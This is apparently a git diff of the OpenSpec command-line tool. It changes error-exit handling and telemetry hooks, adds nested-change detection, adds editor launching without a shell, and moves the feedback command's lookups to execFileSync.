// Shutdown telemetry after command completes
|
||||
program.hook('postAction', async (_thisCommand, actionCommand) => {
|
||||
// Before the completions tip: the tip writes to the screen and can throw,
|
||||
// and the outcome must be recorded either way.
|
||||
try {
|
||||
// Resolved here rather than inside telemetry so the collector stays a pure
|
||||
// function of its input, and so a failure resolving context cannot reach
|
||||
// the command that already did its work.
|
||||
// Resolving context touches the filesystem, so an opted-out user must not
|
||||
// pay for it. Checked here rather than inside the collector so the cost is
|
||||
// skipped, not just the send.
|
||||
if (!isTelemetryEnabled() && !isDebugMode()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const localRoot = findLocalRoot();
|
||||
markInteractiveCapable(isInteractive() && Boolean(process.stdout.isTTY));
|
||||
|
||||
await finishRun({
|
||||
command: getCommandPath(actionCommand),
|
||||
version,
|
||||
exitCode: process.exitCode === undefined ? 0 : Number(process.exitCode),
|
||||
jsonMode: isJsonRun(actionCommand),
|
||||
projectRoot: localRoot,
|
||||
installDir: getInstallDir(),
|
||||
// No local root but a store configured means this run resolved through
|
||||
// one. The store's id, remote, and path are never read, let alone sent.
|
||||
storeInUse:
|
||||
localRoot === null && Boolean(getGlobalConfig().defaultStore),
|
||||
schemaSource: detectSchemaSource(localRoot),
|
||||
toolIds: localRoot ? safeConfiguredTools(path.dirname(localRoot)) : undefined,
|
||||
});
|
||||
} catch {
|
||||
// Telemetry never breaks a command that already did its work.
|
||||
}
|
||||
|
||||
// Show the first-run shell-completions tip (on stderr, so piped stdout stays
|
||||
// clean). postAction, not preAction: the tip trails the command's own output
|
||||
// instead of pushing an error message or `init`'s setup summary down the
|
||||
@@ -322,18 +259,8 @@ program
|
||||
});
|
||||
await initCommand.execute(targetPath);
|
||||
} catch (error) {
|
||||
// Declining the legacy cleanup ends the command without an error banner:
|
||||
// it was the user's answer, and it already printed its own message.
|
||||
if (error instanceof InitCancelledError) {
|
||||
markFailure('cancelled', 'cancelled');
|
||||
process.exitCode = 0;
|
||||
return;
|
||||
}
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -354,10 +281,7 @@ program
|
||||
await initCommand.execute('.');
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -422,10 +346,7 @@ program
|
||||
}
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -464,10 +385,7 @@ program
|
||||
payload: options?.specs ? { specs: [], root: null } : { changes: [], root: null },
|
||||
fallbackCode: 'list_error',
|
||||
});
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -489,10 +407,7 @@ program
|
||||
await viewCommand.execute(root.path);
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -576,10 +491,7 @@ program
|
||||
await archiveCommand.execute(changeName, options);
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -613,10 +525,7 @@ program
|
||||
await validateCommand.execute(itemName, options);
|
||||
} catch (error) {
|
||||
failWithError(error, { enabled: options?.json, fallbackCode: 'validate_error' });
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -647,10 +556,7 @@ program
|
||||
await showCommand.execute(itemName, options ?? {});
|
||||
} catch (error) {
|
||||
failWithError(error, { enabled: options?.json, fallbackCode: 'show_error' });
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -665,10 +571,7 @@ program
|
||||
await feedbackCommand.execute(message, options);
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -686,10 +589,7 @@ completionCmd
|
||||
await completionCommand.generate({ shell });
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -703,10 +603,7 @@ completionCmd
|
||||
await completionCommand.install({ shell, verbose: options?.verbose });
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -720,10 +617,7 @@ completionCmd
|
||||
await completionCommand.uninstall({ shell, yes: options?.yes });
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -766,10 +660,7 @@ program
|
||||
payload: options.all ? BATCH_STATUS_FAILURE_PAYLOAD : undefined,
|
||||
fallbackCode: 'change_error',
|
||||
});
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -794,10 +685,7 @@ program
|
||||
}
|
||||
} catch (error) {
|
||||
failWithError(error, { enabled: options.json, fallbackCode: 'change_error' });
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -812,10 +700,7 @@ program
|
||||
await templatesCommand(options);
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -835,10 +720,7 @@ program
|
||||
payload: { schemas: [], root: null },
|
||||
fallbackCode: 'schemas_error',
|
||||
});
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -863,120 +745,14 @@ newCmd
|
||||
await newChangeCommand(name, options);
|
||||
} catch (error) {
|
||||
failWithError(error);
|
||||
// failWithError already set exitCode 1. Returning instead of exiting
|
||||
// lets commander run postAction, which reports the failure and flushes;
|
||||
// process.exit() here would drop both.
|
||||
return;
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
|
||||
export { program };
|
||||
|
||||
/**
|
||||
* Configured tool ids, or undefined if detection is unavailable.
|
||||
*
|
||||
* Detection touches the filesystem, so it must never be the reason a command
|
||||
* that already succeeded reports nothing.
|
||||
*/
|
||||
function safeConfiguredTools(projectPath: string): string[] | undefined {
|
||||
try {
|
||||
return getConfiguredTools(projectPath);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Report a run that exits outside the normal hook path, then flush.
|
||||
*
|
||||
* `minimal` skips context collection: these paths are already exiting, and the
|
||||
* outcome is the part that matters.
|
||||
*/
|
||||
function reportOutOfBandExit(command: string, exitCode: number): Promise<void> {
|
||||
return finishAndFlush({ command, version, exitCode, jsonMode: false, minimal: true });
|
||||
}
|
||||
|
||||
export function runCli(argv = process.argv): void {
|
||||
// Teach the allowlist which command paths and tool ids are real, so the
|
||||
// property contract can reject anything else without importing the registry.
|
||||
registerAllowlists(program, AI_TOOLS.map((tool) => tool.value));
|
||||
|
||||
// Commander's own usage errors — unknown command, unknown option, missing
|
||||
// argument, and a group invoked with no subcommand — call process.exit()
|
||||
// before the preAction hook has run, so today they produce no telemetry at
|
||||
// all. They are also the clearest signal that someone could not find the
|
||||
// command they wanted, which is exactly what we want to see. exitOverride
|
||||
// turns them into a throw we can report on before exiting ourselves.
|
||||
// Installed here, not at module scope: importing this module (the tests and
|
||||
// any library consumer do) must not add a process-wide handler that exits.
|
||||
installRejectionHandler();
|
||||
|
||||
program.exitOverride();
|
||||
for (const command of collectCommands(program)) {
|
||||
command.exitOverride();
|
||||
}
|
||||
|
||||
try {
|
||||
program.parse(argv);
|
||||
} catch (error) {
|
||||
// Only commander's own errors are usage errors. Anything else is a real
|
||||
// crash during parsing: rethrowing keeps Node's message and stack, which
|
||||
// swallowing would have hidden while also filing our bug as a user error.
|
||||
if (!(error instanceof CommanderError)) {
|
||||
throw error;
|
||||
}
|
||||
|
||||
const code = error.exitCode ?? 1;
|
||||
|
||||
// Help and version are not commands and are not failures. `commander.help`
|
||||
// covers `openspec help [cmd]`; the same code is raised with exit 1 when a
|
||||
// group is invoked with no subcommand, which *is* a usage error.
|
||||
const isHelpOrVersion =
|
||||
error.code === 'commander.helpDisplayed' ||
|
||||
error.code === 'commander.version' ||
|
||||
(error.code === 'commander.help' && code === 0);
|
||||
if (isHelpOrVersion) {
|
||||
process.exitCode = code === 0 ? undefined : code;
|
||||
return;
|
||||
}
|
||||
|
||||
markFailure('bad_usage');
|
||||
process.exitCode = code;
|
||||
void reportOutOfBandExit('unknown', code).catch(() => {
|
||||
// A telemetry failure must not change the exit code commander chose.
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/** Every registered command, depth-first. */
|
||||
function collectCommands(root: Command): Command[] {
|
||||
const found: Command[] = [];
|
||||
const walk = (command: Command): void => {
|
||||
for (const child of command.commands) {
|
||||
found.push(child);
|
||||
walk(child);
|
||||
}
|
||||
};
|
||||
walk(root);
|
||||
return found;
|
||||
}
|
||||
|
||||
/**
|
||||
* An error escaping a command's own handling. Commander chains its hooks
|
||||
* without a catch, so the rejection skips postAction and would otherwise land
|
||||
* nowhere — making our own bugs the one failure class we never see.
|
||||
*/
|
||||
function installRejectionHandler(): void {
|
||||
process.on('unhandledRejection', (reason) => {
|
||||
markOutcome(reason);
|
||||
process.exitCode = 1;
|
||||
// Print first, then flush. Node printed this immediately, and delaying a
|
||||
// crash message behind a network flush is a regression the user would feel.
|
||||
console.error(reason);
|
||||
void reportOutOfBandExit('unknown', 1).finally(() => {
|
||||
process.exit(1);
|
||||
});
|
||||
});
|
||||
program.parse(argv);
|
||||
}
|
||||
|
||||
if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
|
||||
|
||||
+17
-4
@@ -9,6 +9,10 @@ import { Change, Delta } from '../core/schemas/index.js';
|
||||
import type { RootOutput } from '../core/root-selection.js';
|
||||
import { isInteractive } from '../utils/interactive.js';
|
||||
import { getActiveChangeIds } from '../utils/item-discovery.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../utils/nested-change.js';
|
||||
import { getTaskProgressForChange } from '../utils/task-progress.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { discoverSpecFiles } from '../utils/spec-discovery.js';
|
||||
@@ -21,7 +25,6 @@ import {
|
||||
diffRequirementBlock,
|
||||
buildRenameMap,
|
||||
} from '../utils/requirement-diff.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
/**
|
||||
* True only when `target` is definitively absent. An EACCES or I/O failure
|
||||
@@ -95,7 +98,7 @@ export class ChangeCommand {
|
||||
// Offer exactly the changes `show <name>` can resolve.
|
||||
const changes = await getActiveChangeIds(this.rootPath ?? process.cwd());
|
||||
if (canPrompt && changes.length > 0) {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
const selected = await select({
|
||||
message: 'Select a change to show',
|
||||
choices: changes.map(id => ({ name: id, value: id })),
|
||||
@@ -134,6 +137,13 @@ export class ChangeCommand {
|
||||
.then((stats) => stats.isDirectory())
|
||||
.catch(() => false);
|
||||
if (isChangeDirectory) {
|
||||
// A folder holding nested change directories has no proposal of its
|
||||
// own and never will; pointing at `status --change` would send the
|
||||
// user down a second dead end (#1846).
|
||||
const nested = await findNestedChangesIn(changesPath, changeName);
|
||||
if (nested) {
|
||||
throw new Error(describeNestedChange(nested));
|
||||
}
|
||||
throw new Error(
|
||||
`Change "${changeName}" has no proposal.md yet. ` +
|
||||
`Run "openspec status --change ${changeName}" to see which artifact comes next.`
|
||||
@@ -503,7 +513,7 @@ export class ChangeCommand {
|
||||
const canPrompt = isInteractive(options);
|
||||
const changes = await getActiveChangeIds();
|
||||
if (canPrompt && changes.length > 0) {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
const selected = await select({
|
||||
message: 'Select a change to validate',
|
||||
choices: changes.map(id => ({ name: id, value: id })),
|
||||
@@ -563,7 +573,10 @@ export class ChangeCommand {
|
||||
|
||||
private extractTitle(content: string, changeName: string): string {
|
||||
const match = content.match(/^#\s+(?:Change:\s+)?(.+)$/im);
|
||||
return match ? match[1].trim() : changeName;
|
||||
const title = match?.[1].trim();
|
||||
// The packaged template opens every proposal with a bare `# Proposal`,
|
||||
// which names the document rather than the change.
|
||||
return title && title.toLowerCase() !== 'proposal' ? title : changeName;
|
||||
}
|
||||
|
||||
private printNextSteps(issues: Array<{ message: string }> = []): void {
|
||||
|
||||
@@ -4,7 +4,6 @@ import { COMMAND_REGISTRY } from '../core/completions/command-registry.js';
|
||||
import { detectShell, SupportedShell } from '../utils/shell-detection.js';
|
||||
import { CompletionProvider } from '../core/completions/completion-provider.js';
|
||||
import { getArchivedChangeIds } from '../utils/item-discovery.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
interface GenerateOptions {
|
||||
shell?: string;
|
||||
@@ -213,7 +212,7 @@ export class CompletionCommand {
|
||||
|
||||
// Prompt for confirmation unless --yes flag is provided
|
||||
if (!skipConfirmation) {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
|
||||
// Get shell-specific config file path
|
||||
const configPaths: Record<string, string> = {
|
||||
|
||||
+170
-54
@@ -1,10 +1,13 @@
|
||||
import { Command } from 'commander';
|
||||
import { spawn } from 'node:child_process';
|
||||
import type { ChildProcess, spawn as nodeSpawn } from 'node:child_process';
|
||||
import * as fs from 'node:fs';
|
||||
import { createRequire } from 'node:module';
|
||||
import * as path from 'node:path';
|
||||
import {
|
||||
getGlobalConfigPath,
|
||||
getGlobalConfig,
|
||||
isConfigRootObject,
|
||||
isGlobalConfigUnreadable,
|
||||
saveGlobalConfig,
|
||||
GlobalConfig,
|
||||
} from '../core/global-config.js';
|
||||
@@ -25,13 +28,145 @@ import { OPENSPEC_DIR_NAME } from '../core/config.js';
|
||||
import { hasProjectConfigDrift } from '../core/profile-sync-drift.js';
|
||||
import { UpdateCommand } from '../core/update.js';
|
||||
import { asErrorMessage, isPromptCancellationError } from './shared-output.js';
|
||||
import { isTelemetryEnabled } from '../telemetry/index.js';
|
||||
import { finishAndFlush, getRunVersion, markFailure } from '../telemetry/cli-runtime.js';
|
||||
import { getConfigPath } from '../telemetry/config.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
type EditorOutcome =
|
||||
| { code: number | null; signal: NodeJS.Signals | null }
|
||||
| { error: Error };
|
||||
|
||||
// cross-spawn finds `.cmd` shims such as `code.cmd` on Windows and escapes each
|
||||
// argument for cmd.exe; elsewhere it is plain spawn. Loaded lazily so other
|
||||
// commands skip its module graph.
|
||||
let cachedSpawn: typeof nodeSpawn | undefined;
|
||||
function loadSpawn(): typeof nodeSpawn {
|
||||
if (cachedSpawn === undefined) {
|
||||
cachedSpawn = createRequire(import.meta.url)('cross-spawn') as typeof nodeSpawn;
|
||||
}
|
||||
return cachedSpawn;
|
||||
}
|
||||
|
||||
/**
|
||||
* Splits an EDITOR or VISUAL value into a program and its arguments without
|
||||
* running a shell, so `;`, `|`, `$VAR`, `~` and backticks are plain characters.
|
||||
* Double quotes group words. On POSIX, single quotes group words too and a
|
||||
* backslash escapes the next character (inside double quotes only `"` and `\`).
|
||||
* On Windows a backslash is a path separator and a single quote is a plain
|
||||
* character. Returns null when a quote is left open.
|
||||
*/
|
||||
export function splitEditorCommand(value: string, platform: NodeJS.Platform = process.platform): string[] | null {
|
||||
const posix = platform !== 'win32';
|
||||
const words: string[] = [];
|
||||
let word = '';
|
||||
let inWord = false;
|
||||
let quote: '"' | "'" | null = null;
|
||||
|
||||
for (let i = 0; i < value.length; i++) {
|
||||
const ch = value[i];
|
||||
if (quote === "'") {
|
||||
if (ch === "'") quote = null;
|
||||
else word += ch;
|
||||
continue;
|
||||
}
|
||||
if (posix && ch === '\\' && i + 1 < value.length) {
|
||||
const next = value[i + 1];
|
||||
if (quote === '"' && next !== '"' && next !== '\\') {
|
||||
word += ch;
|
||||
} else {
|
||||
word += next;
|
||||
i++;
|
||||
}
|
||||
inWord = true;
|
||||
continue;
|
||||
}
|
||||
if (quote === '"') {
|
||||
if (ch === '"') quote = null;
|
||||
else word += ch;
|
||||
continue;
|
||||
}
|
||||
if (ch === '"' || (posix && ch === "'")) {
|
||||
quote = ch;
|
||||
inWord = true;
|
||||
continue;
|
||||
}
|
||||
if (/\s/.test(ch)) {
|
||||
if (inWord) words.push(word);
|
||||
word = '';
|
||||
inWord = false;
|
||||
continue;
|
||||
}
|
||||
word += ch;
|
||||
inWord = true;
|
||||
}
|
||||
|
||||
if (quote) return null;
|
||||
if (inWord) words.push(word);
|
||||
return words;
|
||||
}
|
||||
|
||||
/**
|
||||
* Starts the user's editor on `filePath`, never through a shell.
|
||||
*
|
||||
* EDITOR and VISUAL hold a command line, not a program name: `code --wait`
|
||||
* and `"/path with spaces/subl" -w` are both ordinary values, so the value is
|
||||
* split into words and the file path is appended as its own argument. A value
|
||||
* that is itself the absolute path of an existing file is run as-is, so an
|
||||
* unquoted editor path with spaces keeps working.
|
||||
*/
|
||||
function spawnEditor(editor: string, filePath: string): ChildProcess {
|
||||
const words = path.isAbsolute(editor) && fs.existsSync(editor) ? [editor] : splitEditorCommand(editor);
|
||||
if (words === null) {
|
||||
throw new Error('the value has an unterminated quote');
|
||||
}
|
||||
if (words.length === 0) {
|
||||
throw new Error('the value is blank');
|
||||
}
|
||||
const [program, ...args] = words;
|
||||
return loadSpawn()(program, [...args, filePath], { stdio: 'inherit', shell: false });
|
||||
}
|
||||
|
||||
/** Runs the editor on `filePath` and resolves once it has closed or failed to start. */
|
||||
function runEditor(editor: string, filePath: string): Promise<EditorOutcome> {
|
||||
return new Promise((resolve) => {
|
||||
try {
|
||||
const child = spawnEditor(editor, filePath);
|
||||
child.once('error', (error) => resolve({ error }));
|
||||
child.once('close', (code, signal) => resolve({ code, signal }));
|
||||
} catch (error) {
|
||||
resolve({ error: error instanceof Error ? error : new Error(String(error)) });
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function reportEditorFailure(editor: string, outcome: EditorOutcome): void {
|
||||
if ('error' in outcome) {
|
||||
console.error(`Error: Could not start editor "${editor}": ${outcome.error.message}`);
|
||||
} else if (outcome.signal) {
|
||||
console.error(`Error: Editor "${editor}" was terminated by ${outcome.signal}`);
|
||||
} else {
|
||||
console.error(`Error: Editor "${editor}" exited with code ${outcome.code}`);
|
||||
}
|
||||
// Only a missing program earns the hint: EACCES or EPERM means it exists.
|
||||
if ('error' in outcome && (outcome.error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
console.error('Set EDITOR or VISUAL to an installed editor command, for example: export EDITOR="code --wait"');
|
||||
}
|
||||
}
|
||||
|
||||
type ProfileAction = 'both' | 'delivery' | 'workflows' | 'keep';
|
||||
|
||||
/**
|
||||
* A config file that exists but cannot be parsed is still the user's file:
|
||||
* getGlobalConfig() reads it as defaults, and saving those back would erase
|
||||
* every setting in it. Reports the fix instead, and returns true when it did.
|
||||
*/
|
||||
function refuseUnreadableConfig(): boolean {
|
||||
if (!isGlobalConfigUnreadable()) {
|
||||
return false;
|
||||
}
|
||||
console.error(`Error: ${getGlobalConfigPath()} could not be parsed, so it was left unchanged.`);
|
||||
console.error('Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
|
||||
process.exitCode = 1;
|
||||
return true;
|
||||
}
|
||||
|
||||
interface ProfileState {
|
||||
profile: Profile;
|
||||
delivery: Delivery;
|
||||
@@ -220,21 +355,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('config')
|
||||
.description('View and modify global OpenSpec configuration')
|
||||
.option('--scope <scope>', 'Config scope (only "global" supported currently)')
|
||||
.hook('preAction', async (thisCommand) => {
|
||||
.hook('preAction', (thisCommand) => {
|
||||
const opts = thisCommand.opts();
|
||||
if (opts.scope && opts.scope !== 'global') {
|
||||
console.error('Error: Project-local config is not yet implemented');
|
||||
// This guard must stop the command, so it exits rather than returning.
|
||||
// The root preAction has already run, so the outcome is reported and
|
||||
// flushed first — otherwise the run starts and never finishes.
|
||||
markFailure('bad_usage');
|
||||
await finishAndFlush({
|
||||
command: 'config',
|
||||
version: getRunVersion(),
|
||||
exitCode: 1,
|
||||
jsonMode: false,
|
||||
minimal: true,
|
||||
});
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
@@ -263,7 +387,12 @@ export function registerConfigCommand(program: Command): void {
|
||||
let rawConfig: Record<string, unknown> = {};
|
||||
try {
|
||||
if (fs.existsSync(configPath)) {
|
||||
rawConfig = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
|
||||
const parsed: unknown = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
|
||||
// A non-object root holds no explicit settings, and reading a key
|
||||
// off `null` would crash this read-only command.
|
||||
if (isConfigRootObject(parsed)) {
|
||||
rawConfig = parsed as Record<string, unknown>;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// If reading fails, treat all as defaults
|
||||
@@ -293,21 +422,6 @@ export function registerConfigCommand(program: Command): void {
|
||||
.description('Get a specific value (raw, scriptable)')
|
||||
.action((key: string) => {
|
||||
const config = getGlobalConfig();
|
||||
|
||||
// `telemetry` on its own is the data-subject view: what is collected
|
||||
// about this machine, and where it lives. Still one JSON document on
|
||||
// stdout, so it stays scriptable; `telemetry.enabled` is unaffected.
|
||||
if (key === 'telemetry') {
|
||||
console.log(
|
||||
JSON.stringify({
|
||||
...(config.telemetry ?? {}),
|
||||
enabled: isTelemetryEnabled(),
|
||||
configPath: getConfigPath(),
|
||||
})
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const value = getNestedValue(config as Record<string, unknown>, key);
|
||||
|
||||
if (value === undefined) {
|
||||
@@ -344,6 +458,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
return;
|
||||
}
|
||||
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig() as Record<string, unknown>;
|
||||
const coercedValue = coerceValue(value, options.string || false);
|
||||
|
||||
@@ -373,6 +491,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('unset <key>')
|
||||
.description('Remove a key (revert to default)')
|
||||
.action((key: string) => {
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig() as Record<string, unknown>;
|
||||
const existed = deleteNestedValue(config, key);
|
||||
|
||||
@@ -399,7 +521,7 @@ export function registerConfigCommand(program: Command): void {
|
||||
}
|
||||
|
||||
if (!options.yes) {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
let confirmed: boolean;
|
||||
try {
|
||||
confirmed = await confirm({
|
||||
@@ -421,7 +543,8 @@ export function registerConfigCommand(program: Command): void {
|
||||
}
|
||||
}
|
||||
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG });
|
||||
// A reset is the one write meant to replace a file that cannot be parsed.
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG }, { replaceUnreadable: true });
|
||||
console.log('Configuration reset to defaults');
|
||||
});
|
||||
|
||||
@@ -447,24 +570,13 @@ export function registerConfigCommand(program: Command): void {
|
||||
saveGlobalConfig({ ...DEFAULT_CONFIG });
|
||||
}
|
||||
|
||||
// Spawn editor and wait for it to close
|
||||
// Avoid shell parsing to correctly handle paths with spaces in both
|
||||
// the editor path and config path
|
||||
const child = spawn(editor, [configPath], {
|
||||
stdio: 'inherit',
|
||||
shell: false,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
child.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
resolve();
|
||||
} else {
|
||||
reject(new Error(`Editor exited with code ${code}`));
|
||||
}
|
||||
});
|
||||
child.on('error', reject);
|
||||
});
|
||||
// Wait for the editor to close; a failure is reported, never thrown.
|
||||
const outcome = await runEditor(editor, configPath);
|
||||
if ('error' in outcome || outcome.code !== 0) {
|
||||
reportEditorFailure(editor, outcome);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const rawConfig = fs.readFileSync(configPath, 'utf-8');
|
||||
@@ -493,6 +605,10 @@ export function registerConfigCommand(program: Command): void {
|
||||
.command('profile [preset]')
|
||||
.description('Configure workflow profile (interactive picker or preset shortcut)')
|
||||
.action(async (preset?: string) => {
|
||||
if (refuseUnreadableConfig()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Preset shortcut: `openspec config profile core`
|
||||
if (preset === 'core') {
|
||||
const config = getGlobalConfig();
|
||||
@@ -518,7 +634,7 @@ export function registerConfigCommand(program: Command): void {
|
||||
}
|
||||
|
||||
// Interactive picker
|
||||
const { select, checkbox, confirm } = await loadPrompts();
|
||||
const { select, checkbox, confirm } = await import('@inquirer/prompts');
|
||||
const chalk = (await import('chalk')).default;
|
||||
|
||||
try {
|
||||
|
||||
+10
-13
@@ -1,7 +1,6 @@
|
||||
import { execSync, execFileSync } from 'child_process';
|
||||
import { execFileSync } from 'child_process';
|
||||
import { createRequire } from 'module';
|
||||
import os from 'os';
|
||||
import { markFailure } from '../telemetry/cli-runtime.js';
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
const MAX_TITLE_LENGTH = 72;
|
||||
@@ -13,8 +12,10 @@ const TITLE_PREFIX = 'Feedback: ';
|
||||
*/
|
||||
function isGhInstalled(): boolean {
|
||||
try {
|
||||
const command = process.platform === 'win32' ? 'where gh' : 'which gh';
|
||||
execSync(command, { stdio: 'pipe' });
|
||||
// execFileSync, not execSync: no shell is needed to look a binary up, and
|
||||
// spawning one next to free-form issue text is the shape a future refactor
|
||||
// most easily turns into command injection.
|
||||
execFileSync(process.platform === 'win32' ? 'where' : 'which', ['gh'], { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
@@ -26,7 +27,7 @@ function isGhInstalled(): boolean {
|
||||
*/
|
||||
function isGhAuthenticated(): boolean {
|
||||
try {
|
||||
execSync('gh auth status', { stdio: 'pipe' });
|
||||
execFileSync('gh', ['auth', 'status'], { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
@@ -179,11 +180,8 @@ function reportGhFailure(error: any, title: string, body: string): void {
|
||||
console.log('Please submit your feedback manually:');
|
||||
console.log(manualUrl);
|
||||
|
||||
// exitCode, not exit(): exiting skips commander's postAction hook, so this
|
||||
// failure would never be reported or flushed. The code is preserved exactly,
|
||||
// including gh's own non-standard statuses.
|
||||
markFailure('external_tool_failed');
|
||||
process.exitCode = error.status ?? 1;
|
||||
// Exit with the same code as gh CLI
|
||||
process.exit(error.status ?? 1);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -267,9 +265,8 @@ function handleFallback(title: string, body: string, reason: 'missing' | 'unauth
|
||||
console.log('\nTo auto-submit in the future: gh auth login');
|
||||
}
|
||||
|
||||
// The manual fallback is a success. Left to exit naturally so the completion
|
||||
// hook still runs.
|
||||
process.exitCode = 0;
|
||||
// Exit with success code (fallback is successful)
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
+36
-11
@@ -12,11 +12,14 @@ import {
|
||||
isSchemaDir,
|
||||
listSchemas,
|
||||
